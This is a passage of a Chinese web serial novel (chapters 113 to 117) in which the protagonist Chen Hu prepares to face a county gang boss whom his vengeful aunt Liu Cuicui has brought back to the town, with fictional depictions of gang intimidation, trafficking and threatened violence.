本就稍显怯懦的妇人,在见到豹爷这副得行之后,直接就冷下了脸,上前一巴掌呼到了豹爷的脸上,接着就红着眼,冷笑出声道:“想不到你也会有今天吧?你们欠我的,老娘会扒你们的皮,抽你们的筋,一点一点的从你们身上,讨回来的!” 周围豹爷手底下的弟兄们见此,一个个顿时勃然大怒,气势汹汹的上前,就要对那妇人动手。 然而,在见豹爷挥手示意他们退下之后,他们一个个的便立马像是被扼住咽喉般,满脸不忿的退下。 面对一群马仔对自己怒目相向,那妇人也被吓了一跳,但见一众人不敢动手,当即就二话不说,眼疾手快地朝着豹爷的脸上,又打了一巴掌! 这声清脆响亮的耳光,直接打得豹爷左脸火辣辣的疼。 但这位平日里高高在上惯了的豹爷,在挨了两巴掌之后,却一声不吭,反倒面带微笑地朝着边上沉默的看着这一幕的爵爷,点了点头。 这位肥头大耳、凶神恶煞的爵爷,默默的将刚才的这一切看在眼里,却也没有吱声,眼瞅着豹爷挨了两巴掌后,一歪头就领着一票人进了里屋。 那妇人见状,当即也连忙跟了上去。 赌场改建后的走廊里面,灯光昏暗。 豹爷默不作声的低着头,灯光打在他的头顶上面,却难以看清他的神情。 豹爷并未第一时间内就跟上去,他在见到爵爷和那妇人一起走进了里屋后,不由得深吸了一口气,然后连忙喊来了他最信任的马仔,在其侧耳,低语吩咐道: “去上河村!找陈虎!一定要把这里发生的事情,全部都告诉他!” 第一卷 第113章 二婶竟然回来了! 看着最信任的马仔,离开赌场后,豹爷再度挤出了一张比哭还吓唬人的笑脸,走进了里屋。 一进门,豹爷便招呼着手底下人,端来饭菜和酒水,对着那位爵爷点头哈腰。 这位爵爷倒也吃这一套,很快,在推杯换盏间,豹爷就坐在了这位爵爷的身旁,两人搭着肩畅饮着。 而两人边上的那妇女,却是没再有什么过激行为,只是时不时将目光冷冷的投向豹爷,暗暗咬牙。 酒过三巡,豹爷漫不经心开口,向这位爵爷问道: “爵爷,这位是……?” 这位爵爷闻声,没有应答,反倒是摆手,冲着那妇人打招呼道: “翠翠,过来!我知道你和小豹之间有些不愉快,但小豹是从我手底下出来的,也算自家兄弟,伤了和气不应该的!再者说了,你回来也不是为了小豹吗?对吧?” 被唤作“翠翠”的那妇人,自打进了这间会客厅后,便一言不发的坐在角落里面,也不吭声。 见爵爷说和了,那妇人这才起身,慢慢的坐了过来。 豹爷见状,直接端起酒杯,朗声道:“我这人犯了很多浑,但都是跟着规矩走的!要是嫂子有什么不痛快的,多打我两巴掌,我也就认了!是我活该!” 豹爷说这番话时,完全将姿态放到了最低,跟在他身后的手底下的马仔们,此时一个个都黑着脸,却是敢怒不敢言。 爵爷见状,也不再坐视不管,索性咳嗽一声,直接就打断了正欲开口的那妇人。 接着,爵爷不耐烦的摆了摆手,道:“行了!来之前也说过了,我帮你是寻陈虎那一家子的麻烦的,你儿子我会让小豹找路子赎回来的,你也别在这里犯浑了!” 爵爷说完这番话后,那妇人急忙点了点头,然后坐下,不再多吭声。 豹爷见此一幕,心中暗暗有了思量,然后不动声色的继续与爵爷奉承应付着。 陈虎今儿无事,巡视了一圈养殖场,刚一到家,他就看到一个之前他在赌场见过的眼熟的马仔,正慌慌张张的朝着他家小跑过来。 对方看上去几乎是快要脱力了,一边大口哈着白气,一边杵着根不知哪儿捡来的破棍子。 陈虎当即走上前来,一脸好奇询问对方道:“你这是作甚?来寻我?” 那马仔见到陈虎之后,眼中立马一喜,而后惊慌失措的出声道: “虎爷!你家……你家……” 见那马仔上气不接下气的模样,陈虎皱了皱眉,抬手拍了拍他的肩膀道:“别着急!慢些说!我家怎么了?” 那马仔一脸苦相,缓了口气后,再度出声道: “虎爷,你家那二婶,陈二狗他媳妇儿回来了!” 那马仔口中的“二婶”,自然是那刘翠翠! 闻言,陈虎的眉头微微皱起,一摊手便质问道:“你们就是这样办的事儿?我可记得当初豹爷嘴上说得好听,说刘翠翠这辈子都走不出来,可眼下这是什么意思?” 陈虎不太明白,刘翠翠在他的设计之下,已经被陈二狗拿去填了赌债,豹爷这伙人随后把她给卖到南方深山了。 按理说,刘翠翠就不可能回来。 并且,哪怕就算是这刘翠翠有能耐从人贩子手里逃走再跑回来,但她既然又到了豹爷的手里头,那豹爷就再换个地儿,把她给卖出去,不就行了? 怎么豹爷现在还派他的马仔,过来找上了自己了呢? 听到陈虎提到刘翠翠回来这事儿,那马仔也忍不住满脸愤懑! 他咋知道到底是什么情况? 好端端的刘翠翠这女的都被送去南方了,现在她回来也就罢了,没想到还是跟着县里头最大的蛇头爵爷一起回来的! 那马仔沉着脸,摇了摇头道: “豹爷让我找虎爷你说清楚情况,那女的不是逃回来的,反倒是跟着县里头势力最大的爵爷,一起回来了。” “看她那架势,好像现在还是爵爷的情人!” “并且,她回来时极其嚣张,直接就当着一众兄弟们的面,给了豹爷两个巴掌!” 听了那马仔的话,尤其是看到那马仔咬牙切齿的模样,陈虎不由得愣了愣。 谁? 刘翠翠当了道上大佬的情人? 对方还是县里头势力最大的爵爷? 这话陈虎断然是不会相信的! 这未免也太扯淡了! 一个四十好几,长得一般的寡妇,咋滴还能做了什么大佬的情人? 这就是言情话本,也不敢这么写吧? …… 时间回到近两月前。 刘翠翠眼睁睁看着自家男人陈厚把她骗去抵了赌债,送到了赌场。 并且,她从看守她的马仔强子口中知道,陈二狗连带着把她的儿子一起给卖了! 最后,刘翠翠万念俱灰之下,在那处柴房里面,好生伺候了一番看守她的强子。 而这强子也算是个“老实人”,和刘翠翠媾和过后,毫不在意的将陈虎找到豹爷,设计对陈二狗一家下手的事情,三言两语的就抖落了出来。 后续,强子负责开车,把刘翠翠送到人伢子那里。 这强子今天二十六了,跟着豹爷在场子里混了快五年了,但钱分下来,拿到手的不多。 并且,由于他的身份原因,普通人家避之不及,导致他也没能找个女人。 平日里,他只得隔两、三个月的时间,上一次县城里面,花大价钱才能找女人。 所以,在送刘翠翠时,他便忍不住生出了歪心思。 强子并未将刘翠翠送给约定好的人伢子,反倒拿出了他的积蓄,回去交了差。 他又害怕被发现,因此便将刘翠翠留在了县城里头,并且租了一间老破小,然后他差不多十天半月,便去一趟县城,在找乐子的同时,也给刘翠翠带些衣食。 那头,豹爷在打发完爵爷一行人后,很快便吩咐手下的小弟,去将强子寻来,问清楚这事情到底是怎么回事。 毕竟,强子是负责把刘翠翠送给人伢子的人,可现在,这刘翠翠又是打哪儿冒出来的? 豹爷必须把强子找来,当面质问才行。 但手底下人的回答,却是让得豹爷忍不住心头一惊。 一名与强子相熟的马仔,在豹爷吩咐找强子之后,立马结结巴巴的回应道:“豹爷……强子他,他几天前进城,就……就没回来过。” 听到那马仔这番话,豹爷顿时脸色阴沉到能滴出水来。 很多时候,命运的巧合往往会让许多看似并不相连的关节,恰到好处的交织在一块。 而之后因此所引发的一系列连锁反应,有时比言情话本的狗血剧情,还要狗血! 刘翠翠最开始,早已经是万念俱灰! 毕竟,她男人为了还赌债,将她和他们的儿子,一并给卖了。 并且,她男人陈二狗据说还被送到了黑窑。 在刘翠翠看来,就陈二狗那好吃懒做,还断了条腿的夯货,去拿人当牲口对待的黑窑,再加上如今这天这么冷,只怕他活不过十天半月,最后可能连尸骨都找不到。 刘翠翠还听了把她藏起来当情人的强子说了许多事情,例如她家老太太上吊了,她侄子陈虎不仅设计害了自己一家,更是和豹爷平分了她男人陈二狗的赌资! 尤其是陈二狗拿去抵债的她家宅院、田产,现在都是陈虎的了。 现在,陈虎甚至于还做了上河村的村长,不仅开办了养殖场,并且还在村子里面建了学校! 刘翠翠眼看着当初被她家如此打压的陈虎一家子,俨然已经不可能再撼动了。 而她一个没了家,死了男人,没了儿子的寡妇,又能够做什么呢? 可偏偏,命运就是如此使然。 一个男人这时候找到了刘翠翠,并且对方还带上了一群打手,将强子给打了个半死,最后也不知道对方把强子带到了哪儿去了。 那男人衣冠楚楚,十分年轻,用一种文邹邹的语气,在简单询问了刘翠翠与陈虎之间关系后,就邪笑着冲刘翠翠问道:“想不想报仇?” 刘翠翠不明所以,却还是点了点头。 紧接着,那男人便将刘翠翠交给了县里头那位最大的地头蛇——爵爷。 爵爷经营着整个县里头所有的灰色产业,如拉皮条、绑票勒索、赌场、高利贷……这些生意。 当然,最让爵爷赚钱的,还是他手底下的那支术业专精的扒手队! 他们会按照爵爷的指示,在每一班经过县城的火车上,伸出角落里面的第三只手。 可尽管马加爵,也就是所谓的“爵爷”,在这方县城里头,俨然已经是地下皇帝了。 但面对那衣冠楚楚的男人时,马加爵这位土皇帝,却像是一个唯命是从的马仔,全程都在弯腰赔笑。 那男人随后就将刘翠翠,交给了马加爵。 并且,他指着刘翠翠,只给了马加爵一句吩咐:“帮这个女人做两件事情!” …… 第一卷 第114章 有时候不要看形势如何,得看人! 在吩咐了马加爵之后,这身份不明的男人便离开了。 马加爵对这事情也是头疼,但碍于这是那位的吩咐,他只得硬着头皮应下。 刘翠翠在见识到这一切后,又得到了两件事情的承诺。 而这两件事情,是刘翠翠现在最想做的,也必须要做的两件事情。 第一件事情就是找到她被贩卖到南方的儿子,而第二件事情便是向如今蒸蒸日上的陈虎一家报仇! …… 院子里,那报信的马仔把在赌场里面发生的事情,全部都告诉了陈虎。 而陈虎听完之后,整个人都懵了圈。 陈虎不可置信地看着眼前的那马仔道: “你是说刘翠翠抬手给你们豹爷打了两巴掌,结结实实的打在脸上,你们豹爷还得给人陪笑?” 那马仔闻言,一脸郁闷,但还是无奈的点了点头确认。 陈虎皱着眉头,一阵思索,接着出声询问道: “你口中的那位爵爷,是什么来路?” 那马仔随后如实交代道: “这货叫马加爵,经营煤矿起家的,路子黑得很!不仅县里头所有的灰产都在他手里头,就连谁家在县上想做点儿啥生意,都得先去拜山头。据说他这个人心狠手辣,开着辆桑塔纳,后备箱里面全是喷子!手上更是有着十几条人命!” 听完这话,陈虎的心中,不由得冷笑起来,口中喃喃道:“十几条人命吗?” 放在前世,这个数字顶多是他陈虎的零头! 他的足迹在前世曾遍布全世界各大战区。 而他在执行各种任务时,面对的可不止是一群拿着刀,在菜场互殴的混混,更多的是来自各国的特战部队,甚至于面对整个国家机器! 简单思索过后,陈虎就朝那马仔吩咐道: “先不用急!回去看看什么情况,有事儿第一时间回来招呼一声。” 见陈虎这般镇定,那马仔无奈的叹了口气,也不好多说什么,转身就打算离开。 这时候,陈虎突然又叫住了那马仔:“等等!帮我给你们老大带句话!” 那马仔闻言,茫然回过头,问道:“什么话?” 陈虎淡然一笑,略带深意的说道:“告诉他,有时候不要看形势如何,得看人!” 那马仔随后折返回镇上,将与陈虎交谈的过程,告知了豹爷。 而豹爷听到陈虎让那马仔带的话后,却是浓眉紧皱,有些诧异道:“他当真这么说?你没告诉他爵爷打哪儿来?是什么人吗?” 那马仔闻言,摇头道:“豹爷,我说得清清楚楚,但那陈虎好像并不在意。” 豹爷听到这话,没再出声,他仰躺在椅子上,思索着陈虎让那马仔转述的这句话。 不要看形势……看人? 豹爷苦笑一声,喃喃自语道:“这可真是形势比人强啊!” 摇了摇头,豹爷又将目光投向一旁的那马仔,随后出声询问道: “小天,那边怎么样了?有没有什么动作?” 被唤作小天的马仔,摇了摇头,应道:“豹爷,那位爵爷暂时没什么动作,倒是那刘翠翠,一直叫嚣着要赶紧把她的儿子找回来。” 豹爷闻言,微微颔首,接着目光略带深意的望向小天道:“你跟我也有七、八年了,能教的我都教给你了,你说说,眼下该怎么做?” 小天闻声,抬眼与豹爷四目相对,眼中随即露出一抹精光道: “豹爷,我认为陈虎说的话没错!” 豹爷皱了皱眉,反问道:“怎么说?” 小天随即深吸了一口气,接着解释道: “以陈虎如今的势头,相较于两月前,他不过是个穷困到只能进山打猎的猎户,豹爷应该知道他靠的是什么。” “他靠的是什么?”豹爷双眼微眯,接着长出一口气道:“孙家!” 小天闻言,跟着点了点头道:“对!孙家!他陈虎能有今天,有孙家在后面运作,并且,以他陈虎如今的情况,势头再猛也不会招惹到爵爷。” “那刘翠翠显然不会是爵爷来这里的缘由,唯一的可能便是那刘翠翠不知从哪儿搭了线,有人找上了她,再带她找上爵爷,打算对付陈虎。” 小天的一番解释,顿时就让得豹爷豁然开朗。 豹爷的眼中,不由得闪过了一抹惊悚道:“也就是说,陈虎不可能招惹他爵爷,而爵爷是受人指使,才跑这一遭的,他的目的兴许根本就不是陈虎,而是陈虎背后的孙家!” 说完这个结论,豹爷顿时就忍不住倒吸了一口凉气! 孙家是什么样的存在? 别看孙老孤家寡人住在镇上,但当初孙老被送到镇上来养老时,那县里头的一班子领导们想来拜访孙老,可他们甚至于都进不去孙家的那扇宅院大门啊! 也就是说,这件事情依照他与小天两人的推测,其实是两个庞然大物之间的争斗。 而马加爵再到他成枝豹,以及陈虎,说到底都只是摆在明面上的一颗棋子而已! 有了这个结论之后,小天也不再吱声了。 成枝豹简单的思索了一番后,就望向小天道:“去把兄弟们都召集起来,但告诉大家,都先不要轻举妄动,让大家都准备好家伙什,看看马加爵他们有什么动静再说!” 晚间,成枝豹摆了好几桌酒席。 酒桌上,成枝豹与马加爵两人推杯换盏。 酒过三巡,他们之间,倒是一直十分融洽。 成枝豹很是识趣的没有追问马加爵一行人到他这里来,到底是什么目的,仅当作是刘翠翠傍上了大佬,回来找孩子的。 成枝豹一边给马加爵和刘翠翠两人敬酒,一边拍着胸脯,保证道:“孩子的事情,不出十天就能有消息!但是地方太远,送回来的话,估摸着得二十天后了。” 对此,马加爵明显不怎么多关心,只是随意的应付了几句。 而刘翠翠有了人撑腰之后,则全然不似第一次来赌场这里那般怯懦。 刘翠翠冷冷的看着成枝豹,面对成枝豹的敬酒,更是丝毫不给面子,语气严厉的要求成枝豹尽快把她儿子给找回来! 成枝豹对此也不恼火,只是一直干笑陪着。 只不过等到散场,安排了马加爵和刘翠翠这一行人休息之后,成枝豹的脸色才变了,脸上满是冰冷,眼中尽显杀意! 成枝豹当即就叫来了小天,吩咐道:“要是出事儿了,给我盯上那寡妇,别让她跑了!不过,你们也莫要直接弄死她,这两天她的嚣张,转过头来,到时候全部都得让她成倍的给老子还回来!” 这一晚,马加爵一行人在赌场里面住下,但他们始终都没闹出什么动静。 这让得成枝豹和他手下的兄弟们,白期待了一夜。 而另一边,面对刘翠翠突然回来的这件事情,陈虎也做了应对了准备。 晚间,陈虎便叫马老三来到家里。 两人在陈虎家里吃过晚饭之后,陈虎便目光沉重的看着马老三,出声说道: “老三,帮我个忙!” 马老三看到陈虎的样子,就明白有大事发生了,赶忙应声道:“虎哥,你说,不论啥事儿,只要你能用得上我马老三,那我都会替你顶上去的!” 陈虎闻言,摆了摆手,简单思虑之后,开口道: “我明天会去镇上,兴许后天也不回来。这两天,你叫上杨春把孩子一道接过来住,我会让我妈给你们收拾出两间屋子。” “你记住,晚上睡觉前,你一定要检查门窗,都给我锁好!” “这两天养殖场的事儿,全部都交给杨春,你就给我待在屋里头,把猎枪上膛,要是有生人敢来,你只管开枪!” “无论最后因此出了什么事儿,到时候都交给我来处理就是!” 马老三被陈虎的这番话,惊得不轻,不由得咽了口唾沫,缓了缓。 等消化完陈虎的话之后,马老三没有提出疑问,反倒是先点头答应道:“没问题!虎哥,这事儿交给我!” 第一卷 第115章 敌明我暗 陈虎的这番话,明眼人都听得出来其中有大问题。 马老三自然清楚能让陈虎说出这番话来,那情况得有多严重! 见马老三毫不犹豫的便答应下来,陈虎点了点头,然后面露沉重,抬手轻拍着马老三的肩膀道:“老三,我家里人全部都托付给你了,你等我回来!” 陈虎眼神灼灼,语气低沉。 “虎哥,你放心!你娘和你弟弟妹妹,但凡有谁出事了,我提头来见你!”马老三挺直了身子,拍着胸脯,大声保证道:“只要我马老三还有气,他们就绝对不会出事情的!” 陈虎听了马老三的话后,心中顿时安定不少。 若是他孤身一人,那莫说对方不过是群道上的混混,就算是整顿有序,持有最先进武器的雇佣军队,那又如何? 或许在上河村这十里八乡,乃至于镇上这几万口人看来,陈虎就是一个打猎的好手而已。 但实际上,陈虎现如今的所有技能,都是他曾经建立在杀人的基础上所学习的! 包括渔猎,也都是陈虎为了完成野外作战任务,从而进行的系统性的专业培训! 对付雇佣军队,陈虎都不怕,他还会怕这县城里的人? 一个县城的道上头目,那又如何? 就算对方能叫上百十个手拿砍刀的混混,陈虎也照样能一个人杀了他们。 可陈虎现在并非孤身一人,他如今有一个温馨幸福的家。 这个家,不仅弥补了他前世缺失的爱,更锚定他在这个世界的位置! 陈虎有了可爱的家人,所以他并不能选择留下,等待敌人上门。 和敌人的战场,必须远离他的家庭,这是重中之重。 可将战场拉远的同时,陈虎却并不能保证家中所有人的安全,这才有了刚才他托付马老三的一幕。 马老三在一番信誓旦旦的保证过后,还是忍不住面带忧虑的询问道:“虎哥,这次是咋回事啊?我哪怕不能帮到你,但能知道接下来要面对啥情况,也能有个心理准备!” “虎哥,你放心!我马老三要是临阵推脱,那就你把我当逃兵,直接一刀囊死搁这儿!” 看到马老三的这副模样,陈虎忍不住微笑着摇了摇头。 接着,陈虎又深吸了一口气,解释道:“别担心!一些个人祸罢了,你应下这件事情,已经是帮了我大忙了!” 说到这里,陈虎顿了顿,简单思考过后,又接着道: “当然,正如你所说的,你得有个心理准备。这次来的是县城里道上的一把手,一个私营煤矿发家的狠角色,手底下的打手很多,并且,他的手里一定有好几条喷子!” “不过,你也大可以放心,我去镇上就是避免他带人找上门来的。你这边不会有太大的压力,剩下的,我自己就足够了,你只管守着我家,等我消息便是!” 听完陈虎的解释,马老三连忙点头,而后又是一阵诚恳的保证。 交代完马老三这些事情后,陈虎便招呼着马老三,一起吃饭。 此刻正是午间,饭桌前,陈虎胃口一般,简单对付几口后,便望着餐桌前唠叨陈瑶和陈真两个挑食小家伙的杨蓉,以及吃饭还闲不住,不时东边看看,西边动手动脚的两个小家伙。 杨蓉见陈虎这么快就放下了碗筷,顿时发声问道:“什么情况?小虎?今天的饭菜不合胃口吗?” 陈虎闻言急摇头,接着面露微笑,抬手指着边上吃得正香的马老三道:“咋会不合胃口,你自己看马老三这都第几碗米饭下肚了?今天的饭菜很好吃的,我就是刚才吃了点零嘴,现在肚子不太饿,妈,你千万别瞎想啊!” 马老三听见陈虎提到自己,当即停下扒饭的筷子,抬起头,冲着陈虎与杨蓉咧嘴一阵微笑。 杨蓉见状,不由得无奈的摇了摇头。 这时候,小囡囡也跟着放下碗筷,叉腰起身,站到了陈虎面前,张口便有模有样的询问道:“哥哥,你自己说腌菜是不是难吃得紧?妈妈一直说我挑食,可腌菜就是不好吃!” 由于北方冬日积雪严重,地里头的蔬菜绝对活不下来,但人不吃蔬果,又不能保证营养均衡,不仅会患上各种疾病,还会出现便秘、无精打采等症状。 所以,冻白菜与腌菜,便出现了。 冻白菜就属于字面意思,将白菜入冬后,直接埋进雪地里面,这样的话,一整个冬天都可以把白菜挖出来,炖煮着吃。 腌菜则是依靠盐来腌制,不仅能让菜多一些风味,还能保证菜不变质。 陈虎摸了摸小囡囡的头,眼神之中,满是宠溺道:“囡囡乖,腌菜不吃会肚子疼,还会长不高!” 小囡囡闻言,顿时就傻了眼,一脸不知所措的说道:“哥哥,囡囡不要长不高!” 一旁同样抵制蔬菜的小鼻涕虫,一听这话,也不吭声,方才还放在碗里没动的腌菜,三、两下便被他给送进了嘴里,吃得那叫一个风卷残云。 陈虎见状,忍不住呵呵笑道:“囡囡你看二哥,一口气就把腌菜全部都给吃完了,过了年后,估计你二哥就又长高一大截了!” 小囡囡闻言,顿时苦着脸坐下,而后一言不发地开始猛吃着腌菜。 这一幕,可把愁眉不展的杨蓉给惊喜到了。 她一直都对两个孩子挑食烦恼,结果她唠叨得再多,都抵不过陈虎一句话好使。 饭桌上的温馨时光,总是过得很快。 次日,陈虎便出发,赶往了镇上。 临行前,陈虎特意给杨蓉交代了,马老三一家会过来住几天。 对此,杨蓉自然没有什么异议,反倒是十分热络的给马老三一家,收拾出了客房。 清晨,当第一缕阳光划破天际,照亮北边山脉时,陈虎已经踏着春寒时的冷风,走进了镇上。 镇子不算大,横竖交织,统共就三条街,中心位置住了不到三千户人家,周边加起来,也不会超过一万户。 陈虎到了镇上后,并未有所动作,第一时间内,反倒是去了街上,寻了家服装店,换了身朴素的衣裳。 他还付了钱,将他的那身熊皮袄子,存放在服装店里面,又交代了老板,千万别声张出去。 收了好处的店老板,对此自然是满口答应。 临出门前,陈虎还多买了一顶能挡脸的毡帽,彻头彻尾的给他自己来了一套伪装! 现在敌明我暗,占据主动可以说是陈虎这次行动中,最为重要的一环! 第一卷 第116章 卖命钱 临行前,陈虎带上了他的那把短刀,以及弓弩和猎枪。 不过这套他用来打猎的家伙什,却在陈虎进入小镇之前,被他寻了一处荒无人烟的地方藏匿了。 等到陈虎走出服装店之后,他又去了一处售卖羊汤的饭馆,先是管店老板要了一碗羊汤和两个馍,吃上口热乎的,这才一边吃,一边朝店老板打听着这两日的消息道: “老板,听说镇上来了一伙狠角儿?那成枝豹都不敢招惹来着,这两天咋样?” 店老板是个壮实长相老实的中年人,见陈虎这么一问,不由得撇嘴回应。 “听你口音也不是外乡人,少年郎,咋个连这事儿都没消息?” 陈虎摆了摆手,苦笑道:“没办法!我家住在村里头,到镇上来,多少得三、五个小时,没消息也正常!老板既然知道,那不妨给我说道说道。” 店老板一听陈虎这话,顿时就打开了话匣子道: “嗐!后生,我跟你说,你是不知道那伙人的来头!成枝豹你知道吧?他搁咱们这儿。也算是响当当一号人物了!谁不知道这位豹爷的名头?谁不怕他?” “但你知道咋地不?听说那伙人刚来时,成枝豹自恃在自己的地盘,压根不给面子,结果人家直接从车里头掏出了几条喷子,成枝豹顿时就老实了!” “之后,成枝豹又听了来人的名号,顿时直接就成了哈巴狗!愣是挨了人家两巴掌,都没种吭声,反倒还要对人家笑脸相迎……” 店老板显然是那种嘴巴大,喜欢凑热闹八卦的人,一张嘴便停不下来,叨叨了半天,将马加爵说的好似是什么国际犯罪头目,杀人不眨眼的魔头一样。 到了最后,店老板才说到重点。 马加爵一伙人直到昨天,仍旧没有动静,现在还是窝在赌场里头,没有任何行动。 得到他需要的消息后,陈虎结了帐,便直接奔着赌场走去。 早间的赌场,除了昨夜待了一个通宵,此刻正迷迷糊糊往家走的赌棍们,基本上就没有什么人了。 陈虎绕着赌场四周,探察了一圈,除了马加爵一行人开来的一辆老旧桑塔纳之外,他并没有其它的发现。 得知这辆车是马加爵的座驾,陈虎简单沉思一会儿后,便扭头折返往回走。 很快,陈虎就在镇子外面,取回了他藏匿的短刀、猎枪、弓弩。 拿到家伙什后,陈虎仍旧没有着急行动,反倒是等在出镇子朝着上河村方向的路上,静静隐蔽着。 中午时分,赌场内。 马加爵在带着手底下的马仔们吃过饭后,就交代了他的四个手底下人,去走一趟上河村。 四个马仔都属于马加爵的心腹,不仅一个个的身形魁梧、虎背熊腰,更是有一人带了一把喷子,另外三人则各自拿了一把砍刀,挂在腰间。 旋即,马加爵又找来叫来成枝豹,开门见山的出声道: “小豹,找个人带我手底下人去一趟上河村!处理完上河村的事儿,我们就回去了,一直在你这儿白白吃住,哥哥我心底也过不去。” 说话时,马加爵脸上的肥肉一阵抖动,露出一抹不冷不热的微笑,让人听着极为不舒服。 成枝豹闻言,面上倒是畅快答应,心里头则是一阵盘算,接着装作无意似的朝着后边挥了挥手,出声道: “爵爷说得太见外了!既然来了弟弟这儿,那就都当自己家一样,客气了就是我做得不对!让爵爷小瞧了才是!小天,跟着这几位弟兄走一趟!” 小天作为成枝豹的心腹,闻言顿时意会,赶忙上前讪笑道: “得勒豹爷!爵爷,您放心,上河村我熟得很,有啥事儿都算我的!” 马加爵对于小天这般小角色,自然不会搭理,好似听不见一般的望向成枝豹,微笑道:“小豹,上茶!你这儿的茶水,倒是不赖!” 小天被晾在一旁也不恼,讪笑两声,便带着马加爵手底下的四个马仔出了门。 小天带着那四个马仔走出赌场后,走在前面的他,突然一拍脑袋,转过身,脸露无奈道:“兄弟几个等等,我忘了带家伙什,刚好那头有个夯活拿了场子的水钱,今天到期,我这过去顺带收钱,不带家伙什,光靠嘴也……” 那四个马仔闻言,十分不耐烦的摆了摆手:“赶紧些!别他娘的废话了!” 小天见状,当即赔笑着点了点头,而后一溜烟的跑回了场子。 回到场子后,小天径直去了后场仓库,紧接着就在仓库的一处暗格里面,取出了一把仿制式手枪! 将手枪放到腰间别好后,小天接着又找来一个信得过的弟兄,匆忙吩咐道: “啥都别问,去开豹爷车,快些赶路,往陈虎家去!到了之后,告诉他马加爵的人上门了!然后,你就绕路,别直接回来,千万别和马加爵的那四个马仔撞上。” 吩咐完后,小天这才折返回到了场子外面。 紧接着,那四个马加爵的马仔,就坐上了马加爵的桑塔纳,然后由小天开车,朝着上河村的方向赶去。 当然,马加爵手底下的四个马仔,自然不认识去路,所以小天轻松的带着这伙人朝着反方向开去,硬生生围着镇子绕了一圈。 等到受了他吩咐的马仔开车赶去前面后,小天这才回到正道上,朝着上河村的方向,慢悠悠的开去。 陈虎守在出镇子的道上,很快就听到了发动机的嗡鸣声,当即便探出头查看。 在看到车上仅有一人,并且这破车还是成枝豹的车子后后,陈虎赶忙上前,将这车子拦下。 车上成枝豹的马仔,直接就被这突然钻出来拦车的陈虎,吓了一大跳! 那马仔赶忙一脚刹车,停下。 停车后,那马仔就摇下车窗户玻璃,直接破口大骂道: “你他娘哪儿来的花子?!敢挡你爷爷的路……” 可那马仔刚骂了两句,还没骂尽兴时,便眼瞅着拦路的人摘下了挡住他的脸的毡帽。 看着车头前站着的陈虎,那马仔忍不住心头暗道一声:“完蛋!” 陈虎则皱眉走到车窗前,出声询问道:“怎么着?你家豹爷让你去哪儿这是?” 那马仔顿时心头叫苦,赶忙出声解释道:“虎哥……我刚才没注意、没注意是你,您大人有大量……” “别废话!赶紧说去干嘛?” 那马仔听到陈虎的骂声,这才想起来正事,急忙将小天交代他的话,给陈虎说了一遍。 听了那马仔的话后,陈虎眼神微眯,接着摆手道: “用不着听那小天的吩咐,你现在就听我的,直接去我家,然后把车停在我的养殖场那头,去我家里坐着喝茶!” “但凡有人闯进去动手,你动手打死一个,我保你不吃官司!另外你还会有一百块的收入,要是你受伤了,我这边再多出三倍的补偿!” 那马仔一听陈虎这话,顿时就惊住了,一百块? 虽说陈虎的开价,是针对杀人的。 但想当初陈二狗这种货色,榨干他全部的价值,再算上卖掉他妻儿的钱,加起来也凑不到两百块! 一百块放在这个时候,绝对是一笔庞大巨款! 之前陈虎卖珍稀的熊胆给孙老,也就卖了一百五十块,就足可见陈虎这一百块的杀人开价,高不高了。 并且,陈虎还另外直接许诺,受伤的话,再给三倍补偿! 好家伙! 这比起给旁人卖命几年,都混不出一点儿积蓄,讨不到媳妇儿而言,待遇对比下来,简直就是天差地别! 三倍就是三百整,以如今的购买力来看,完全就妥妥的是卖命钱啊! 第一卷 第117章 暴起动手 另一边,小天驾驶汽车绕路了一段距离后,耽搁了近半小时,才开出镇上。 直到途经一处没有人家的荒路上,车子突然就不受控制! 前轮爆胎,将车头直接甩进了田里,车身则悬挂在了道上。 车里头的四个马加爵的马仔,顿时都怒骂不已。 “狗娘养的!你他妈怎么开的车?!” “妈的个巴子!你想摔死老子们?!” “找死是吧?混蛋!” …… 小天缓了好一阵才回过神,见那四个马仔都没出什么事情,还在骂骂咧咧的,直接甩了甩头,用力的掰开车门,走下车。 他直接无视了这四个夯货的叫骂声,面露疑惑的蹲下身,查看汽车轮胎的位置。 他开车也算平稳,而且这大白天的,他根本就没见着道上有什么障碍物,怎么车子突然就爆胎失控了? 就在小天百思不得其解时,车上的四个马仔也跟着陆续下车,不过,他们嘴里面依旧在叫骂着。 “狗日的,你他娘要是耽误爵爷的安排的事儿,回去让你断条腿都是轻巧的!” “好好的怎么开进田里头了?别和这狗东西废话了!先看看车怎么挪出来!” “嘶!这是爆胎了?狗东西,开车不知道看路啊?” …… 小天闻言,深吸了一口气后,就挤出了一个不自然的笑容说道:“几位哥,稍等我看下,换个备胎就能行……” 小天的声音在他余光一瞥时,便戛然而止。 只见得,他突然一阵愣神,痴痴看着前边荒道上,慢慢朝着他们这个方向走来的人影。 小天顿时一阵紧张,身子都在微微颤抖着。 旁边的一个光头马仔,见小天突然这般恐惧,顿时就嗤笑小天道:“怂蛋!就出了这么点事儿,你怎么就吓得腿软了?” 这时,其余的马仔也注意到了远处走来的那道人影。 那是一个青年,面容稍显稚嫩、青涩,穿了一身普通布衣,手里拎着一捆干柴,就这么慢悠悠的往他们这个方向走来。 一名马仔当即冲着小天出声道:“去叫那人过来!先帮忙把车头推回来!” 小天闻言,神色怪异的点了点头,很快便来到那青年的面前。 就见得,小天先是大喊道:“唉!小兄弟,过来帮个忙,我们车陷进田里头去了,帮忙推出来等会儿给你报酬。” 而后,小天又在那四个马仔看不到的角度,又对那青年低声开口道:“虎哥,你这是做甚?” 毫无疑问,这突然出现的青年,正是陈虎。 陈虎闻言,微微颔首,随后先是十分警惕的朗声说道:“你们不会要打劫我吧?我身上没钱!” 旋即,陈虎又压低了声音,回应道:“等会儿把车子弄抛锚,然后你回去找人帮忙,我带路让他们继续去上河村,明白吗?” 小天听了陈虎的话后,瞬间会意,暗中使了个眼色,表示他明白了。 随后,陈虎和小天两人一唱一和的来到了那四个马仔的面前。 那四个马仔都懒得再多去看陈虎一眼,毕竟,陈虎看上去年纪不大,还是个雏儿,胆小又畏畏缩缩,没啥值得关注的。 小天则招呼着陈虎去抬车头,那四个马仔也一并上场,在五、六个人合力之下,车头很快抬起,后边的两人再抓紧把车门“哐”的一拉,汽车很快就回到了道上。 随后,小天一脸欣喜着说只是车胎爆了,等他换上备胎就好了。 可等了一阵子,待车胎换上之后,小天上车一打火,却见车子突然轰鸣两声,引擎盖处便直接冒了白烟,彻底哑火。 那四个马仔见此,顿时勃然大怒。 “狗东西会不会开车!滚下来看看你都做了什么? “你他娘的还不赶紧滚下来看看怎么回事儿?” “真找死是吧?” …… 